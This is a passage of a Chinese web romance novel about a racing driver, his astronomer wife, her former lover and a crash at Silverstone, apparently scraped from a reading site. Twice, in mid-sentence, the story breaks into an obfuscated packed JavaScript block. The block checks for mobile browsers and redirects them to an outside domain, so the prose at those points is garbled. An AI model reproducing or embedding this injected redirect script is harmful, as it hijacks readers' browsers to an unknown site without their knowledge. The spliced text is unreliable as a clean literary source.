“2021年3月12日,你收到MIT交换录取通知。3月15日,你最后一次约温木去天文台,却连告别都没说就消失了。” “你调查我?”明杨强撑着冷笑,“这就是宁川宋家的做派?” “还敢自称书香门第,我看你就是小人。” 宋星燃笑了,随手将香烟头扔进垃圾桶,金属打火机滑进裤袋时发出清脆的声响。 “不。” “这当然不是宋家的做派。” “这是我的做派。” 他似乎有点热,一颗一颗解开夹克纽扣,然后脱下,搭在手腕。 明杨的视线在夹克上停留了一秒,蓦然愣住。 “啊,”宋星燃察觉到他的视线,热心地解释,“这是我老婆送给我的生日礼物,特地找人定制的,特地坐飞机给我送来的。” “我觉得很好看,你觉得呢?” 对面的人没说话,只是攥起的拳头在颤抖。 男人笑得更开心了,虎牙露出来,却并没有可爱的意味,而充满了蠢蠢欲动的攻击性。 “怎么样,我老婆挑衣服的眼光是不是很好啊。” “唉。”他故作可惜地叹气,“不过像你这种鼠目寸光的人,应该也看不出来。” “明先生,我劝你把尾巴藏藏好。不然,你的丑事,我可就兜不住了。” 明杨的脸色瞬间惨白:“你怎么会……” “你别管我怎么会知道,”宋星燃打断他,“你只要记住,只要你安安分分的,我就不会找你麻烦。” “毕竟,我老婆经常告诉我,要日行一善。” 夜风吹乱了两人的头发。 明杨突然也笑了:“所以你查我?因为不自信?怕温木还喜欢我?” 宋星燃的眼神冷下来:“我查你,是因为有人骚扰我妻子。” “骚扰?”明杨向前一步,“我送的花,她收了。我送的咖啡,她喝了。如果这算骚扰——” “她以为那是好心的学生送的。” “就像五年前,她以为你是真心喜欢她,而不是为了那封推荐信。” 一把刀直接捅进明杨最脆弱的地方。 他的表情扭曲了一瞬:“你懂什么?我当时确实喜欢她!” “喜欢到连句再见都不说?”宋星燃冷笑,“喜欢到五年都不联系,直到你在MIT的项目失败,被导师踢出团队,才想起回苏黎世?” 明杨的呼吸变得急促:“谁告诉你的?” “重要吗?”宋星燃看了眼手表,“我老婆应该洗完澡了,她习惯九点给我打电话。” 像是为了印证他的话,手机铃声适时响起。 他瞄了一眼手机屏幕,勾起嘴角,将手机翻转,举到身前的人眼前。 屏幕上跳动着“老婆”两个字,在夜色中格外醒目。 “不好意思,聊天暂停,我老婆给我打电话了。” 男人语气里是掩饰不住的轻快、他按下免提。 “喂,老婆。” 他的声音瞬间温柔了八个度。 “你在哪?”温木的声音透过扬声器传来,带着罕见的柔软,“车队说你今天请假了。明天不是要比赛吗?” 明杨的身体明显僵住了。他从未听过温木用这样的语气说话,像裹了蜜的棉花糖,甜得发腻。 “在Silverstone。”宋星燃面不改色地撒谎,眼睛却盯着明杨。 “老婆,想你了。” 电话那头传来细微的布料摩擦声,像是温木在床上翻了个身:“我也想你。” 她的声音更低了,“那个,饺子,很好吃。” 宋星燃的笑容扩大:“是不是盐放多了?” “但我全吃完了。”温木轻声说,“连碎渣都没剩。” 明杨猛地转身,撞到了路边的垃圾桶。 “什么声音?”温木问。 “野猫。”宋星燃神色平静地瞥了一眼明杨,“大概闻到我的烟味了。” “怎么开始抽烟了?”温木的声音带着困意。 “抽着玩,我平常也不抽,你知道。” “哦。” “下个星期回来吗?” “回。”宋星燃的拇指轻轻摩挲手机边缘,“给你带这里好吃的的马卡龙。” “要粉色的。” “好。”他的声音柔得能滴出水,“睡吧,我听着你睡。” 不知道过了多久,电话那头传来女人均匀的呼吸声。宋星燃等了足足一分钟,才轻轻挂断。当他再次抬头时,眼中的温柔荡然无存,只剩下冰冷的胜利。 “听到了?” 他收起手机,“她连我放多少盐都记得。” “钱、权、爱。” “你哪样比得上我?” “哦对了。” “你还不知道吧。温老师,很喜欢我的服务,也——” “很喜欢我。” 他缓慢而优雅地解开两颗衬衫纽扣,露出锁骨上一道新鲜的咬痕:“昨晚她咬的,她劲儿小,像个兔子似的,咬得不疼。” 指尖顺着痕迹下滑到胸口,“这里也有。” 再往下到腹肌位置,“还有这里,要全部看看吗?” 明杨猛地别开脸,喉结剧烈滚动:“够了!” 宋星燃嗤笑一声:“这就受不了了?” “那你凭什么觉得,她会放弃宋氏集团12%的股份,放弃我在摩纳哥为她准备的那套能看到整片星空的别墅,放弃一个给她做饭、记得她每篇论文发表日期的、并且服务意识超好的丈夫?” “嗯?” “你凭什么呢?” 明杨的眼中燃起最后一丝不甘:“她知道你来找我吗?” 他冷笑,“温木最讨厌别人骗她。你敢告诉她今晚的事吗?” 宋星燃的表情凝固了一瞬,快得几乎捕捉不到。 但明杨看到了,他像抓住救命稻草般紧追不放:“你不敢。” “因为你清楚,在她心里,你和我没什么不同。” “都是骗子。“ 夜风突然变得刺骨。 男人慢慢整理着夹克袖口,动作优雅得像在准备一场决斗。 “知道我和你的区别吗?”他最终开口,声音低沉而危险。 “我骗她,是为了不让她难过。” “你骗她,是为了自己。” 引擎轰鸣声中,科尔维特如离弦之箭般冲入夜色。 后视镜里,明杨的身影越来越小,最终变成一个黑点。 手机震动。 Jean:【宋,明天的测试赛,你还参加吗?】 宋星燃盯着那条消息看了几秒。 Lgnis:【参加】 他需要冷静,需要思考如何向温木坦白今晚的事。 他不想重蹈明杨的覆辙——用谎言堆砌的关系,最终只会崩塌。 手机屏幕再次亮起,是温木发来的消息: 老婆:【做梦梦见你了。】 老婆:【快点回来。】 宋星燃盯着那条消息看了很久,最终回复: Lgnis:【下个星期就回】 Lgnis:【我爱你】 发完这条,他打开通讯录,犹豫片刻,拨通了于茉的电话。 “宋少爷?”于茉的声音带着警惕。 “我需要你帮个忙。“宋星燃看着后视镜中自己泛红的眼眶,“关于温木和明杨的事。” 电话那头沉默了几秒:“你想知道什么?” “全部。”宋星燃的声音沙哑,“但这次,我要亲自告诉她。” 十分钟后,男人挂断电话,将车停在路边。夜色深沉,街灯的光晕在挡风玻璃上晕开,模糊了他的视线。他抬手揉了揉太阳穴,脑海中不断回放明杨最后那句话。 “你敢告诉她今晚的事吗?“ 他不敢。 不是因为他心虚,而是因为他太清楚温木的性格。她讨厌欺骗,讨厌隐瞒,哪怕是最小的谎言都会让她竖起全身的刺。 而现在,他背着她见了明杨,甚至故意在电话里撒谎。 手指烦躁地敲打着方向盘,节奏凌乱。他想起温木发烧那晚,她蜷缩在床上,眼泪无声地往下掉,却始终不肯告诉他发生了什么。她宁愿一个人扛着,也不愿意让他分担。 “你比比赛重要,重要得多。” 他曾这样对她说过。可现在,他却成了那个隐瞒的人。 引擎重新启动,男人踩下油门,黑色跑车融入夜色。 咖啡厅门口,明杨仍站在原地。 他低头看着手腕上残存的三颗檀木珠,突然用力扯断绳子。珠子滚落在地,消失在排水沟的黑暗中。 他拿出手机,翻出五年前偷拍的照片——温木在天文台调试望远镜的侧脸,清冷而专注。 手指悬在删除键上方,最终却没有按下去。 “你从来都不是我的选项。” 温木的声音在他脑海中回响,清晰得仿佛就在耳边。 明杨苦笑一声, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16421482|181620||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将手机塞回口袋,转身走向相反的方向。 夜风吹散了他的脚步声,也带走了最后一丝执念。 * 清晨,阳光正好。 温木的手机屏幕亮起,宋星燃的消息跳了出来—— 火星哥:【老婆,今天比赛,记得看直播】 火星哥:【我要是赢了,有奖励吗?】 她嘴角不自觉地上扬,指尖轻点屏幕。 Jupiter:【有。】 Jupiter:【赢了的话,等你回来我亲自下厨。】 对面秒回。 火星哥:【?】 火星哥:【你下厨?】 Jupiter:【嗯。】 火星哥:【老婆,你确定不是谋杀亲夫?】 温木轻笑出声,手指在屏幕上敲打。 Jupiter:【那算了。】 火星哥:【别别别!我吃!】 火星哥:【毒死我也吃!】 她笑着锁上屏幕,抬头看向窗外。阳光正好,苏黎世的天空蓝得透亮,像是被水洗过一样。 一切都很好 温木走进实验室时,明杨正站在数据板前,低头记录着什么。听到脚步声,他侧头看了一眼,点头示意,随即又转回去继续工作。 没有花,没有咖啡,也没有刻意的搭话。 温木微微松了口气。 挺好的,他听进去她的话了。 她走到自己的工位前,打开电脑,开始处理今天的观测数据。 下午三点,手机震动。 火星哥:【比赛要开始了】 火星哥:【记得看】 她刚想回复,Schmidt的声音从门口传来:“Luna,能来一下吗?” 温木抬头,教授手里拿着一叠资料,眉头微皱:“Kepler-13b的数据有些异常,需要你确认。” 她犹豫了一秒,看了眼手机。 Jupiter:【等会就看。】 应该没关系吧?她想。 反正只是预赛,宋星燃不会输的。 Schmidt教授的办公室里,温木低头核对数据,指尖在键盘上快速敲击。 “Luna。”教授突然开口,“你和宋先生,以后打算怎么安排?” 她愣了一下:“什么?” “你的研究在欧洲,他的比赛全球飞。”教授推了推眼镜,“异地不是长久之计。” 温木沉默了一会儿,轻声说:“我会在欧洲找工作。” 教授明显怔住:“你愿意放弃NASA的邀请?” “嗯。”她点头,语气平静,“爱情是需要两个人让步的。” “他已经让了我很多了。” 教授看着她,忽然笑了。他从抽屉里拿出一个精致的天鹅绒盒子。 “这是什么?”温木疑惑地接过。 “打开看看。” 她低头打开盒子。水晶雕刻的猎户座悬在星云状底座上,内部嵌着会流动的星沙,在灯光下宛如真实的星河。 “这是……” Schmidt温柔地注视着她:“给那位没见过面的女婿的礼物。” “Luna,我只有一个儿子,没有女儿。你在我心里,和我的女儿没有区别。” “所以,我发内心的,希望你能幸福。” 温木眼眶一热,底座刻着一行小字: “Tothemanwhostolemybrighteststar.” (致那个偷走我最亮的星星的人) 她忍不住笑了,指尖轻轻抚过那行字:“谢谢您。” 教授拍拍她的肩:“去吧,别错过了他的比赛。” 温木起身,在触到门把手的那一刻,又被喊住。 “Luna。” “怎么了,教授。” 老人正色:“我并不是要为明杨说话。你们都是我的学生,我对你们的心,是一样的。” “他做错了就是做错了,你有资格选择原谅或者不原谅。但我希望,你不要被困在过去。” 他指了指水晶星云:“看看现在谁在为你摘星揽月?” “Yourhusband.Mr.Song.(你的丈夫,宋先生)” “我相信,他是你的命中注定。” 温木觉得,只有在教授面前,她才敢承认,刚见到明杨的时候,除了惊讶,更多的是一种害怕。 害怕面对过去被欺骗的自己,害怕面对过去欺骗她的明杨,害怕面对宋星燃。 她的生活,平静、幸福,她只会和宋星燃这样一直过下去,不会和别的男人。 可如果,宋星燃不愿意呢? 如果他知道了过去的事,他们现在幸福安静的生活,还能继续下去吗? 所以宋星燃问她为什么哭的时候,她没有说实话。 那是温木人生中仅有的几次撒谎。 因为爱,所以害怕那1%的可能性。 温木觉得这不像自己。 但和明杨聊过之后,她又觉得,这才是自己。 没有看上去那么的理智冷静,也会有犹豫不决、畏首畏尾的时候。 但最终,她找到正确的答案,会干净利落地结束,会一心一意地守护。 温木浅浅一笑:“教授,我没有被困住。” “而且,我也相信。” 她抱着天鹅绒礼盒走出办公室时,走廊尽头的电视正在播放体育新闻。 她本打算直接回实验室,余光却捕捉到一抹刺眼的红——那是赛道上紧急救援车的警示灯。 她的脚步停住。 电视画面里,一辆银黑色赛车以扭曲的姿态卡在护栏间,前翼完全碎裂,碳纤维碎片像凋零的花瓣散落在沥青路面上。车门大敞着,驾驶座空空荡荡。 镜头扫过场边闪烁的救护车,医护人员正围着担架忙碌。 一瞬间,温木的大脑宕机。 48. For us 苏黎世机场的广播在头顶回荡,温木坐在候机室的椅子上,指甲深深陷入掌心。 她盯着登机口上方的显示屏,上面跳动的数字像一把钝刀,缓慢地切割着她的神经。 水晶星云的碎片还躺在她的包里。 尖锐的边缘刺穿了天鹅绒盒子,也刺穿了她的冷静。 电视里的画面挥之不去。 那辆银黑色的赛车扭曲得像一张被揉皱的纸,前翼支离破碎,碳纤维碎片散落一地。救护车的红灯闪烁,医护人员围着担架忙碌。 而最刺眼的,是车身上那个黑色的“5”。 她第一次很后悔,为什么,要把这个数字记得这么清楚。 温木机械地掏出手机,第无数次拨打那个熟悉的号码。 听筒里传来的依然是冰冷的提示音:“您拨打的电话暂时无法接通。” “乘坐LX345航班前往伦敦的旅客,现在开始登机。” 温木猛地站起身,膝盖撞到了座椅扶手,疼痛却毫无知觉。她抓起背包,随着人流走向登机口。 登机桥的玻璃映出她的脸。苍白得像一张纸,嘴唇被咬出了血痕,眼睛却干涩得发疼。 飞机起飞,胸腔深处传来巨大的悬空感,温木死死抓住扶手,咬住下唇,试图用痛感麻痹紊乱的神经。 机身倾斜的瞬间,她想起他们去挪威的那一天。 她依旧是怕,但为了不让宋星燃笑话,只是闭着眼睛假寐。 宋星燃凑到她身边,紧紧搂住她:“温老师,别害怕。起飞的时侯最刺激了,就像赛车起步时的推背感。” “它会把你送上天空,去见你最喜欢的星星。” 她记得自己当时笑着骂他幼稚,现在却恨不得立刻体验那种推背感,只要能更快地赶到他身边。 “女士,您需要毛毯吗?”空乘温柔的声音传来。 温木摇摇头,视线落在舷窗外翻滚的云层上。 云朵在夕阳的照射下呈现出瑰丽的橘红色,美得惊心动魄。 宋星燃在世界各地到处飞,每到一个地方,总爱拍下这样的天空发给她,还很认真地说:“今天的云像你论文里描述的蟹状星云。” 虽然那根本不像,只是他想找个理由跟她聊天罢了。 温木打开手机相册,手指颤抖着划过那些照片。最后停在一张宋星燃的自拍上——他戴着赛车头盔,护目镜掀起,露出那双琥珀色的眼睛和标志性的虎牙笑容,背景是银石赛道的起点线。 “老婆,明天比赛,记得看我拿冠军!“ 这是昨天他发的最后一条消息。 温木的喉咙发紧,她猛地合上手机,闭上眼睛。 温木,冷静,你必须冷静。 她知道宋星燃经历过大大小小危险的事故,他总说赛车就像跳舞,偶尔会踩错步子,但不会真的摔倒。 可这次不一样。 电视里那辆车的惨状在她脑海中挥之不去。前翼完全碎裂意味着撞击速度至少200公里每小时。安全系统能保护他不死,但无法保证他不受伤。 “女士,您还好吗?” 空乘再次出现,这次声音里带着担忧。 温木这才意识到,自己的手在剧烈颤抖,指甲在掌心留下了深深的月牙形痕迹,稍稍见了血。 她勉强挤出一个微笑:“我没事,谢谢。” 空乘递来一杯温水:“您看起来脸色很差。” 温木伸手接过,玻璃杯在女人颤抖的手中差点滑落,温水滑过喉咙,她才发觉那处隐隐的痛楚。 她轻声道了谢,转头看向窗外。 天色已经完全暗下来,云层变成了深灰色,像一块厚重的毯子覆盖着大地,压得人喘不过气来。 飞机开始下降时,温木再次拨打宋星燃的电话。 依然无人接听。 希思罗机场的灯光在雨幕中显得模糊不清。 温木几乎是跑着下了飞机,护照和登机牌捏在手里已经皱成一团。她冲进到达大厅,直奔出租车候车区。 “Silverstone医疗中心,越快越好。”她的声音嘶哑得不像自己。 司机从后视镜看了她一眼:“小姐,那里离这儿有一个多小时车程……” 温木直接从钱包里抽出几张钞票:“拜托了。” 车窗外的雨越下越大,雨刷器在挡风玻璃上划出规律的弧线。 温木盯着仪表盘上的时钟,每一秒都像一年那么漫长。她一边又一遍不甘心地拨打着那串熟悉的号码,回应她的只有那个冰冷的提示音。 “您在Silverstone工作?”司机试图搭话。 温木的喉咙发紧:“是我丈夫。他是一位赛车手。” 司机恍然大悟:“哦!今天是有F1测试赛。等等,下午好像出了事故。” 温木的手指猛地掐进座椅。 真的出事了,他真的出事了。 “我听广播里说,有辆车失控撞墙了,车手送医……”司机从后视镜看到温木惨白的脸色,突然意识到什么,“天啊,该不会是……” 温木没有回答。 她转过头,看向窗外飞驰而过的景色,雨水在玻璃上扭曲成蜿蜒的河流,和她的心,一般无二。 “我很抱歉,女士。你的丈夫会没事的。” 温木想开口,却怎么也发不出声音,她只能,轻微地点了下头。 医院的灯光在雨夜中格外刺眼。 温木甚至没等车完全停稳就推开门冲了出去,雨水瞬间打湿了她的头发和衣服。 “宋星燃!F1车手宋星燃在哪?”她扑向前台,声音颤抖。 护士抬头看了她一眼:“您是?” “我是他的妻子。” 护士快速敲击键盘:“三楼手术室,但现在已经——” 温木没等听完就冲向电梯,等待的人太多,又立刻转向楼梯间。 三楼走廊尽头,手术室的灯依然亮着。 温木喘着气停下脚步,看到两个熟悉的身影,Alex和Jean正坐在长椅上,脸色凝重。 Alex抬头看到她,立刻站了起来:“温,温博士?你怎么来了?” 温木的胸口剧烈起伏,雨水顺着发梢滴落在地板上:“我看到了直播。” Jean快步走过来:“温博士,你先冷静,宋他——” “情况怎么样?”温木打断他,声音冷静得可怕。 Alex搓了搓脸:“撞击速度210公里,右侧车身完全损毁。安全系统起了作用,但右腿和肋骨受伤严重。” 温木的视线移向手术室的门:“多久了?” “三个小时。”Jean低声说,“医生说手术很复杂,但不会有生命危险。” 温木点点头,机械地走到长椅边坐下。她的鞋沾满了灰尘和雨水,白色衬衫湿透贴在身上,却浑然不觉。 Alex递来一条毛巾:“温博士,你先擦一擦。” 温木接过毛巾,却没有动作。目光钉在手术室门上,仿佛能透过那扇门看到里面的情形。 “怎么回事?” “怎么就,变成这样了。” 她的声音是一贯的沉静,但那瓣毫无血色的唇,一直在颤抖。 Alex和Jean交换了一个眼神。 Jean叹了口气:“最后一圈,领先优势很大,本可以轻松拿下。但7号弯道突然失控,直接撞上护栏。我们怀疑是转向系统故障,但具体原因还要等调查。” “他失去意识了吗?” “没有。”Alex赶紧说,“救援队赶到时他还清醒,甚至自己解开了安全带。” “他,他还说了一句话。” 温木:“他说了什么。” Alex沉声:“他说,‘别告诉我老婆。’” 胸口一阵刺痛。温木低下头,看着自己颤抖的双手。这双手能操作最精密的天文仪器,能写出复杂的计算公式,此刻,却连一条毛巾都拿不稳。 手术室的灯依然亮着。 温木盯着那刺眼的红光,怎么也不敢相信。 明明,他们刚过完一周年的结婚纪念日。 明明,他们有很长时间都可以生活在一起。 明明,他们的未来,是可见的安宁。 那夜高烧的情景又浮现在脑海。 宋星燃连夜从布鲁塞尔赶回来,指关节因为砸墙而淤青。他笨拙地煮粥,烫伤了手却浑然不觉,只是一遍遍用湿毛巾敷她的额头。 “老婆,你比比赛重要,重要得多。” 他明明是这样跟她承诺的,为什么,不守信用呢? 温木忽然觉得,她不是那个自己理想中,能掌控一切的、理智又冷静的博士小姐。 她的丈夫躺在冰冷的手术室里,承受着巨大的痛苦。 而她除了等待,什么也做不了。 “温博士?”Jean轻声唤她,“你要不要换件衣服?这附近有商店,我帮你买套衣服。” 温木只是摇头:“我等他出来。” 时间一分一秒地流逝。走廊上的时钟指向午夜,手术室的灯终于灭了。 温木猛地站起来,双腿因为久坐而发麻,她踉跄了一下,Alex赶紧扶住她。 医生推门而出,摘下口罩,脸上带着疲惫但放松的表情:“手术很成功。” 温木下意识地软了膝盖,差点跪倒在地。Alex眼疾手快,牢牢撑住她。 “右腿胫骨骨折,三根肋骨断裂,右肩脱臼,轻微脑震荡。”医生快速说道,“万幸没有伤到内脏和脊椎。麻醉效果还要几小时才会消退,他现在在恢复室。” “但没有生命危险,你们可以放心。” 温木的嘴唇颤抖着:“他,他能完全康复吗?” “以运动员的标准来看,需要至少三个月恢复期。”医生谨慎地说,“但理论上不会影响职业生涯。” 悬了整整一夜的心,在此刻,终于崩溃了。 眼泪无声地涌出,顺着脸颊滚落,滴在冰冷的地板上。温木没有啜泣,没有抽噎,只是静静地流泪,仿佛身体里的水分都要通过这种方式排干。 Alex轻轻拍着她的背:“没事了,温博士,没事了。” 几位护士推着病床从手术室出来。 温木擦掉眼泪,看向床上的人。男人苍白的脸上戴着氧气面罩,黑色的睫毛在灯光下几乎透明,平日里总是张扬笑着的嘴唇此刻毫无血色。右腿打着厚重的石膏,胸前缠满绷带,像个破碎后被勉强粘合起来的瓷娃娃。 “可以陪他去病房,但他暂时不会醒。”护士温声提醒。 温木点点头,默默跟在病床后面。走廊的灯光惨白,照在宋星燃脸上,更显得他脆弱不堪。 他从前不会这样。他从来都是把伤痕当作荣誉。 她曾经问过他,这些伤都是哪儿来的。他囫囵搪塞过去,只是说,有些事训练时弄的,有些是比赛时弄的。 那次从西班牙回来,他得意扬扬地跟她炫耀着自己的新伤疤。她仔细看过,还好,只是浅浅一道,能好。 那人却是不知道痛一样:“老婆你看,这是巴塞罗那赛道给我的纪念品!” 病房里,机器发出规律的“滴滴”声。 温木坐在窗边的椅子上,看着病床上的男人出神 夜色深沉,雨水拍打着窗户,像无数细小的手指在玻璃上抓挠。 那声音有如凄厉的呐喊,偌大的病房中,只有她能听见,扰得她心乱,缠得她心酸。 她轻轻握住没有插管的那只手——那只总是温暖有力的手,此刻冰凉而无力。 她小心避开静脉注射针头,将自己的手指与他交缠。 “你这个骗子。”温木低声呢喃。 “说好要拿冠军的,说好下个星期就回来的,说好给我带马卡龙的。” “为什么,你现在躺在这里,不看我,也不跟我说话。” “我讨厌你。” “我真的好讨厌你。” 她知道自己现在看起来像个疯子,但她不在乎。 温木俯身,轻轻吻了吻宋星燃的额头。 萦绕在男人身上的,不再是她熟悉的那个混合着机油和薄荷须后水的味道。 只有消毒水的味道,让她无处躲藏的,消毒水的味道。 “你要快点好起来,知道吗?” “我有好多话要对你说。” 窗外,雨势渐小。 黎明的第一缕光线穿透云层,照在病床上。 * 温木是被一阵尖锐的疼痛惊醒的。 她的右手完全失去了知觉,脊椎仿佛被灌了水泥,从尾椎到颈椎都发出抗议的呻吟。 昨晚淋雨的后果也在这个时候找上门,喉咙火烧般疼痛,太阳穴一跳一跳地抽动。 温木猛地直起身,眼前一阵发黑。 她强撑着精神,立刻转向病床。 宋星燃依然安静地躺着,氧气面罩上规律的雾气证明他还活着。 但除此之外,没有任何变化。 苍白的脸色,紧闭的双眼,干裂的嘴唇,都和昨晚一模一样。 “为什么。”温木的声音嘶哑得不成样子,手指轻轻描摹着丈夫的眉骨,“为什么还不醒。” 窗外的阳光透过百叶窗在地板上投下条纹状的影子。 温木眯拿起手机,下午三点了,她竟然睡了这么久。 医生说过麻醉效果会在几小时内消退,可现在,已经过去将近二十个小时了。 “宋星燃。”她轻声喊他, “你要睡到什么时候?” 手指滑到男人的脉搏处,他的心跳通过指尖传来,稳定但微弱。 她俯身凑近丈夫耳边,试图用恶狠狠的语气威胁他醒过来:“你再不醒,我就把你的赛车模型全送人。” 没有反应。 “我要把你的车漆全都刮花,你的法拉利,兰博基尼,柯尼赛格,有一辆算一辆。” 依然没有反应。 她握住男人的手,感受到掌心传来的冰凉的温度。 明明,她才是那个总是手心冰凉的人。他喜欢借此搂着她,美其名曰“为她取暖”。 温木往自己的手心里哈气,希望她的手可以热起来,可以给躺着的人一点温暖。 宋星燃只是静静地躺在那儿,漠视着她的一切努力和乞求。 温木最终哽咽。 “求你了。” “醒过来好不好。” 敲门声突兀响起。 “请进。“温木哑声说。 她专注地看着男人的脸,希望能捕捉到任何一丝苏醒的迹象。 但是,没有。 门开了,脚步声接近,却迟迟没有人说话。温木皱起眉,正要转身—— “看来我高估了他的恢复能力。” 这个声音像一桶冰水浇在温木背上。她猛地转身,眼前又是一阵发黑。 明杨站在病床尾,白大褂下是深蓝色西装。他看起来是那样的整洁得体,不像她,如此狼狈。 “你怎么在这里?”温木的声音冷得像冰。 明杨微微一笑,将手里的文件夹轻轻放在床头柜上:“Schmidt教授委托我来参加皇家学会的学术会议,正好听说……” 他的目光扫过病床,“F1的明星选手出了事故。我想着,应该来探望一下。” 温木的手指无意识地攥紧了床单:“不需要。请你离开。” “别这么紧张,温老师。”明杨向前一步,皮鞋在地板上发出清脆的声响,“我只是尽一个朋友的义务。” 他的视线在温木凌乱的头发和皱巴巴的衣服上停留。 “你看起来糟透了。” “我说了,不需要。”温木站直身体,挡在宋星燃前面,“这里有最好的医疗团队。他会没事的。” 明杨轻笑一声,从西装内袋掏出一张名片:“约翰·哈里森,伦敦皇家医院神经外科主任,运动创伤领域的权威。” 他将名片递向温木,“考虑到你丈夫的职业特殊性,我想,也许用得上。” 温木没有接,语气更冷:“我再说最后一遍,不需要。” “还是这么固执。”明杨叹了口气,将名片放在床头柜上,“你知道吗?五年前你感冒那次,也是这么拒绝我的帮助。” 温木:“那不一样。” “哪里不一样?”明杨突然上前一步,眼神近乎执拗,“因为现在躺在床上的不是我,而是他?” 温木的胸口剧烈起伏:“明杨,你别这样。” “别哪样?”明杨的声音突然提高,“别提醒你当初是怎么照顾发烧的我?别提醒你为我煮的那碗粥有多难吃?还是别提醒你在天文台对我说过的话?” 温木的脸色变得苍白:“那都过去了。” “对你过去了,对我没有。”明杨的声音又低了下来,“温木,看看你现在这个样子。为了一个可能永远醒不过来的男人,值得吗?” 温木的脸色立刻沉下去,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16426594|181620||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盯着眼前愤怒的男人,一字一句:“他会醒的。” “真的?你相信吗?” “就算醒了又怎样?”明杨冷笑,“你以为以这种伤势,他还能回到赛道上?宋家会养一个废物的三少爷多久?到时候你要怎么办?放弃研究照顾他一辈子?” “你给我闭嘴。” 温木的双手开始颤抖。 “你根本不了解他。” “我了解得够多了。“明杨从文件夹里抽出一份报告,“200公里时速的撞击,右腿胫骨骨折,三根肋骨断裂,右肩脱臼,还有轻度脑震荡。” 他抬头看向温木,“你知道这意味着什么吗?即使康复,他的反应速度也会受影响。” “没有车队会要一个反应迟钝的车手。他注定,要灰溜溜地滚出F1。” 温木猛地抢过报告:“你从哪里得到这个的?” “我有我的渠道。”明杨平静地说,“重点是,你打算怎么办?” “什么怎么办?” “当他不再是那个风光无限的赛车冠军,当他需要你照顾日常生活,当你不得不放弃NASA的工作机会。”明杨步步紧逼,“你还会留在他身边吗?” 温木的眼中燃起怒火:“明杨。你把我当成什么人了?” “我没有把你当成什么人。你就是你,那个优秀的、前途无量的温博士。” “现实点吧,温木。”明杨的声音突然柔和下来,“你们的婚姻本就是一场交易。宋家要一个高学历的儿媳提升门楣,你要宋家的资源支持研究。” “现在交易的基础就要不存在了,你们,也该离婚了。” “你闭嘴!”温木的声音颤抖着,“你没资格评价我们的婚姻。” “为什么没资格?”明杨反问,“因为我曾经骗过你?至少我的欺骗没有把你绑在一具可能永远醒不过来的躯体旁边!” 温木怒极反笑。 她真的是看错人了。 怎么会对这样一个,铁石心肠、冷漠自私的男人动心。 “你没有资格。” “因为你根本不懂什么是爱。” “我不懂?”明杨突然笑了,“那请问温博士,什么是爱?” “是守着一个植物人度过余生?是放弃自己的事业当护工?还是……”他的目光扫过病房奢华的装潢,“舍不得宋家给你的优渥生活?” “啪。” 那份报告砸在男人脸上,划出一道细小的血痕。 “明杨。” “我真是看错你了。” 明杨沉默着,抬手,摸过脸上的伤口。 “呵。”他笑。 “你确实是看错人了。” “大错特错。” 他抬头,直直看向眼前愤怒到浑身颤抖的女人。 他没见过这样的温木,在他的印象里,她总能在一切突发情况前保持冷静的头脑,并最快给出一份解决的方案。而不是现在这样,手足无措,濒临极限。 为什么? 她为什么会这样? 他似乎知道答案,但是不愿意相信。 “那温老师能不能教教我,爱是什么样的?” 温木怔住,随后,抬眸看向他。 “你真的想知道吗?” “嗯。” “我想。” “好啊,”她笑,“那你听好了。” “爱是他明明讨厌雨天,却愿意陪我站在暴雨里数星星;爱是他记得我每个同事的忌口,却总是忘记自己的训练时间;爱是他可以为了我放弃比赛,却不肯让我为他放弃一次观测……” 她哽咽,抬起头,克制住眼角即将落下的泪水。 “他愿意为了我变得更好,他可以为了我牺牲一切。” “这是我想要的爱。” 明杨的表情凝固,片刻,又轻笑一声。 “你真的变了。” “不,是我终于明白了。” 温木看向病床上虚弱的男人,眼神柔软。 “遇见他之前,我以为爱情是势均力敌的较量,是精确计算后的选择。是他教会我,爱是不讲道理的冲动,是明知不可为而为之的勇气。” 阳光被云朵挡住,房间里只剩下一层蒙蒙的灰蓝色。机器规律的“滴滴”声成了唯一的背景音。 “你知道吗?他就是个疯子。” 明杨最终说道,声音轻得像叹息。 “是吗?” 温木轻笑。 “但是我爱他。” “我、爱、他。” 明杨的喉结滚动了一下,然后,是长久的沉默。 终于,他低头失笑。 “好可惜。” “他听不到了。” “没关系。”温木走回床边,握住宋星燃的手,“我会等他醒过来,然后一遍遍告诉他。” 她抬头看向明杨,眼神坚定,“现在,请你离开,不要打扰我先生休息。” 明杨站在原地没动。 他的目光在温木和宋星燃之间来回,最后定格在那两只交握的手上。 “还记得在ETH时,你说过什么吗?” “你说,感情就像宇宙中的双星系统,必须保持完美平衡才能稳定运转。” “现在看来,你背叛了自己的理论。” 温木轻轻摇头:“不,我修正了它。” “真正的双星系统不是冰冷的轨道计算,而是……” 她看向病床上的男人,“而是即使引力失衡,也甘愿被对方吞噬的勇气。” 明杨的眼中闪过一丝痛楚。他转身向门口走去,皮鞋在地板上发出沉闷的声响。 他在门口停顿,没有回头。 “希望他值得。” 门关上了。 温木站在原地,听着脚步声渐渐远去。 几乎就是一瞬间,全身的力气像被抽干一般,膝盖一软跪倒在地。她捂住脸,去掉那冰冷的镜片,泪水从指缝中涌出,无声地滴落在地板上。 她不知道自己为什么哭。 是为明杨的执念? 为宋星燃的伤势? 还是为那句终于说出口的“我爱他”? 也许都有。 